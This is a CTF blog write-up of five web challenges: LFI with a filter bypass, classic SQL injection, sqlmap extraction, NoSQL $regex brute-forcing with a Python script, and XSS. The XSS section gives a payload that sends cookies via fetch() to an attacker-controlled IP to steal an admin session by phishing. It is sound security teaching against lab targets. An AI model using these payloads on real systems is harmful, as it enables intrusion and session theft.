Intro
Sp00kyCTF 2022 finished up the other weekend and it was a blast! I hope everyone had fun and learned at least one new technique or tool. This year around I was repsonsible for creating a lot more challenges compared to last year. Specifically I wanted to make sure we had a good variety of easy and difficult Web App challenges. This blog post will serve as a writeup for all of the challenges I did and a mini-debrief for anybody who didn’t catch the info at the end of the event.
Challenges
Web01: WEB 3.WOAH
This challenge was ment to be the easiest web challenge I created. However, nobody ended up solving it during the event and in retrospect I could have out more hints in the application for this challenge. The description of this challenge pointed users to a simple webpage with one field for user input.
The text on this page made it clear that it was loading webpages by the file path instead of going through proper routing middlewear. This should immediately peak a hackers interest and cause them to start thinking about LFI (local file inclusion). The only issue with LFI in this case is that nothing on this first page says exactly where the flag is. Without that information we would just be trying endless possible locations trying to find the flag.
The solution to this issue is hidden in the source of the challenges home page. Using inspect element on a browser the user is able to see a commented out html line that reviewls the flag is located at /flag.txt
.
The next logical step for a user would be to enter /flag.txt
into the load field box to try and get the flag. If this is submitted to the webserver the results are shown below.
This error message is a hint to the user that /
is a filtered character when it is placed at the front of the request. With this info, I expected users to begin thinking about common directory traversal attack technqiues. The most common type of directory traversal involves adding a large number of ../
’s before the file you want to load to escape the current directory and get to the root of the file system. Submitting a query like ../../../../../flag.txt
to the server results in this.
The message provided with this entry hints that maybe ../
is being replaced with an empty string before loading the file. This theory can be tested by sending .../flag.txt
and seeing that the resulting file that was searched for becomes .flag.txt
confirming that ../
is being removed. This is the final piece of information needed to solve this challenge. The payload ....//
when placed through the replacement filter described above would resolve to ../
after the middle ../
is removed and the outside characters are pushed togther. ..|../|/
-> ../
.
Sending the request ....//....//....//....//....//....//flag.txt
gets the flag.
1
sp00ky{I_r3a11y_th0ught_th15_wa5_security:'-(}
Web02: SQLi #1
This challenge directed users at a web application that is used to load blog posts from a database. Below is an example of that application loading the welcome
blog post which gives the name of the database software being used. There is also a hint that the first flag is hidden in a redacted blog post title.
With this info users can enter special characters like '
and see an error produced by the database software
After determining the quote to be used, it’s easy to enter ' or '1'='1
and get a listing of all of the posts in the databse. This shows a crazy post title with the body containing the flag.
This was the most solved web challenge and showed people the easiest form of SQL injection.
1
sp00ky{bbs_1st_sql1_vv_pr0ud}
Web03: SQLi #2
SQLi round 2, here we go. For this challenge users are linked to the same web challenge as Web02: SQLi #1
and told that there are secrets hidden in a different location on the database. In this case the different location is a seperate table from the one used to store posts. There was also a hint the could be bought for the challenge which told users to look into a tool called sqlmap
.
The intended solution was to use burpsuite
to capture the database query request and then feed that to sqlmap
to automatically dump the contents of all of the tables on the databse. I didn’t test if it was possible to do this exfiltration manually, but I’m guessing it would either be incredibly difficult, if not down right impossible.
To start this solve I fired up burpsuite
and opened the blog form in the built in browser. From there I made sure intercept was on and submitted the request with a random payload. You can see the captured request in the screenshot below.
With this request in hand I replaced the payload testing
with a single *
to make using sqlmap
a bit easier. I then right-clicked the request in burpsuite
and chose copy to file
and named it sqli.tmp
.
With the request saved off as a file I was able to run sqlmap
on it to automatically detect and exploit SQL injections. The command I used for this situation was
1
sqlmap --batch -r ./sqli.tmp
In this command --batch
auto answers all of the prompts in sqlmap
to make the process faster and -r
is for specifying a request file instead of making a new request. When sqlmap
runs it will produce a lot of output and a ton of traffic to the targeted website. The most important output comes at the end where it tells you what parameters if any are vulnerable to injection and what type of injection they are vulnerable to.
In this example you can see that sqlmap
identified the parameter myfile
as injectable using a time-based blind injection. All this means is that there is no actual data returned from the injection so intead sqlmap has to use different combinations of sleep functions and boolean operations to leak data slowly over time.
After finding this initial injection point we can then specify different parts of the database using differnet arguments to sqlmap.
The command:
1
sqlmap --tables --batch -r ./sqli.tmp
will dump all of the tables we currently have access to.
Now we can see that there is in fact an additional table we have access to called secretsSHHHHHH
. Now that we have access to that table we can run another sqlmap
command to dump the contents of that table.
The command:
1
sqlmap -T secretsSHHHHHH --batch --dump -r ./sqli.tmp
will dump all of the individual entries in the secretsSHHHHHH
table. In general sqlmap
arugments are --name
to enumerate all or -n name
to specify one specific one to dump.
Because this injection is a time-based blind injection it may take several minutes for sqlmap to fully dump the value stored in the table. However after this is finished we are left with our final answer to this challenge.
1
sp00ky{b_h0n3st_2qlm4p?}
Web04: Mangos for Me
Web04 points users to a new web app that comes with a login page and a description of a new database software being used to store different types of mangos. This challenge was intended to be the second most difficult challenge and it was not solved during the event.
The steps for solving this challenge can be generally thought of as 3 steps:
- Get a valid injection
- Dump all of the users
- Leak the password of the admin user
Step 1: Finding an injection
Based on the challenges that came before this one I would expect users to attempt differnent types of normal SQL injection. Submitting things like '
. "
, ;
, or &&
wont result in any errors and should give users a hint that this probably isn’t a standard SQL implementation. The name of the challenge and the constant references to mangos was ment to be a hint at the backend software being used whichis mongoDB
.
mongoDB
is a nosql database that relys on json like queries. The example below would be a valid query and something similar to what is happening on this login page.
1
2
3
4
{
"username":"david",
"password":"test"
}
This query will select all of the entries where the username is equal to david
and the password is equal to test
. There are tons of examples online of different nosql injections for bypassing logins. A good starting query for finding an injection in this case would be entering david
as the username and {"$ne":"a"}
as the password. With a password like that our full nosql query would look something like this.
1
2
3
4
5
6
7
{
"username":"david",
"password":
{
"$ne":"a"
}
}
mongoDB will interpret this as selecting all entries where the username is equal to david
and the password is NOT equal to a
. $ne is nosql key for not equal. Submitting this query on the web app results in the follow data being returned.
This shows that we have nosql injection since the user david
exists with a password that is not equal to a
. From here we can move onto step2.
Step 2: Dumping Users
Now that we have injection, we can work on dumping all of the users to find the admin user. This is as easy as copying our injection from the password field and pasting it into the username field. This query will find all of the entries that have usernames not equal to a
and the password not equal to a
.
Here we can see that there is a user with the name Alphonso
with the role of admin
. That’s step 2 done, onto step 3.
Step 3: Leak the Password
While we were able to leak all of the users on the database… there isn’t any information about the passwords for these users. However, now that we have the username of the admin we’re looking for, we can start playing around with the password field.
We’ve used $ne
as an injection technique enough for this challenge, let’s look at a different injection method. $regex
in nosql is a way of incorporating regular expression into queries. An easy way to demonstrate this injection is with the payload {"$regex":"^.*"}. Submitting this query with the username
Alphonso` shows us that admin user account.
This may look exactly like what happened last time using $ne
but it’s actually much more powerful. The characters in our regex allow us to check the password one character at a time. the ^
character indicates the start of the string and .*
means any character any number of times. So this simple regex query will always match any password. If we change the regex to something like ^sp00ky{.*
it will only match passwords that start with sp00ky{
and end with any other characters. Submitting this query to the app still returns our admin user!
Now we know the admin password starts with sp00ky{
and that makes a lot of sense since we know the end goal is to get the flag which is the password. From here it’s possible to write a simple python program to brute force each individual character of the password until you find the ending }
of the flag. Here is the quickest solution I could come up with while stuck alone in this dorm room. We have to filter out some regex specific characters to make sure the query doesn’t end up always returning true. After that it’s just checking one character at a time for to see if the user account has been returned
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import string
currFlag = "sp00ky{"
while(currFlag[-1] != "}"):
for character in string.printable:
if(character == "*" or character == "+" or character == "." or character == "?" or character == "\\" or character == "|"):
continue
payload = [{"name":"usernameField","value":"Alphonso"},{"name":"passwordField","value":"{\"$regex\":\"^"+currFlag+character+".*\"}"}]
r = requests.post("http://127.0.0.1:5000/web03", json=payload)
if("Alphonso" in r.text):
currFlag = currFlag + character
print(currFlag)
1
sp00ky{n0_sQl_N0_Pr0b13m}
Web05: Snowboard Challenge
This was the challenge I designed to be the most difficult. It ended up having one solve during the competition which was really exciting to see. The challenge descriptions and hints pointed users to a website where they could make an account, login, and share custom webpages with other people via urls. After the user creates an account they are greated with this profile page.
Here we can see some information about the account as well as a flag value that appears to have been redacted due to the fact that our new user is not an admin. This should point users towards the idea of either modifying our user account type value to be admin or to steal an admin users session cookie. After making an account, users are pointed towards a web application designed to make and share webpages.
Here if a user enters some message or valid html and clicks Submit
a link will be generated that can be browsed to in order to view the rendered html. A sample link generated by this page would look like this:
1
127.0.0.1:5000/web04?q=JTNDaDElM0VUZXN0aW5nJTNDJTJGaDElM0UlMEQlMEElM0NwK3N0eWxlJTNEJTIyY29sb3IlM0FyZWQlMjIlM0VkYXZpZCtpcytjb29sJTNDJTJGcCUzRQ%3D%3D
The query string in this example is the user entered content with base64 and url encoding applied to it. The unencoded payload is shown below.
1
2
<h1>Testing</h1>
<p style="color:red">david is cool</p>
If a user then browses to this url they will be shown the following output.
With this functionality discovered it should point users in the direction of XSS (Cross Site Scripting) exploits. In short, XSS involves rendering attacker controlled javascript in a victims browser generally through unsanitized input to the web server. This attack path exploits the trust a browser has in the content coming from the web server. Your browser isn’t able to determine what is user input and what is valid html to be rendered when it all comes from the web server in one request. A very simple XSS payload involves using the javascript aler()
function to display a site’s session cookies. This can be accomplished by generating a url with the query string set to the following html.
1
<script>alert(document.cookie)</script>
1
127.0.0.1:5000/web04?q=JTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQyUyRnNjcmlwdCUzRQ%3D%3D
When this url is visited the user will be shown a list of all the current cookies associated with the site they are visiting. In this list of cookies we can see the session cookie for our current users login.
While it’s not very remarkable to see our own session cookie, it would be very interesting if we could get an admin to click on a link and recieve THEIR session cookie. If we could do that we could replace our session with the admin session and hopfully be able to read the flag value from their profile. Lucky for us there is a message at the bottom of this url generator page that says the admin will be checking his email for fancy new webpages to visit. This should hint to users that a specially crafted url sent to the admin’s email will result in us running javascript in the admin’s browser.
The issue here is that we can’t simply use alert()
to show the admin cookies since that will only be visable to the admin. Instead we will need a way to send their cookies to our machine. The payload for this remote exploit is slightly more complex than the simple alert()
payload we used previously. The easiest way to get javascript to send the admin session cookie to use is to use a simple python http server.
Setting up a python web server is incredibly easy from the terminal. Just run python3 -m http.server
and python will begin listening on port 8000 for any http requests. Because this CTF was happening in person and we were all on the same network it’s possible for the admin user to visit our python webserver from their browser. Now that this is running we just need the javascript to make a request to our web server and send us the cookies. The easiest way to make an http request in javascript is using the fetch()
function. We can make a GET request with this simple html payload:
1
<script>fetch("http://192.168.1.123:8000/davidiscool")</script>
If we use this payload to generate a url and visit it we see the following access logs from our python web server. Highlighted in this log is the endpoint davidiscool
attempting to be accessed from the victims browser.
Now we just need to append the session cookie value as the endpoint and we should be able to see that in our http logs. We can test this on our own user with the following payload:
1
<script>fetch("http://192.168.1.123:8000/"+document.cookie)</script>
There we go! We now have a link that, when clicked, will send all of a user’s currently set cookies to our computer. If we take this url, embed it in a phishing email, and send it to the admin of the website we should be able to steal their session cookie. Sending that off and waiting for David to refresh his email results in us getting an admin level session cookie. Replacing our session cookie with the stolen one allows us to view the profile of an admin user.
1
sp00ky{n0w_yOu'r3_th1nk1n6_w1th_XSS}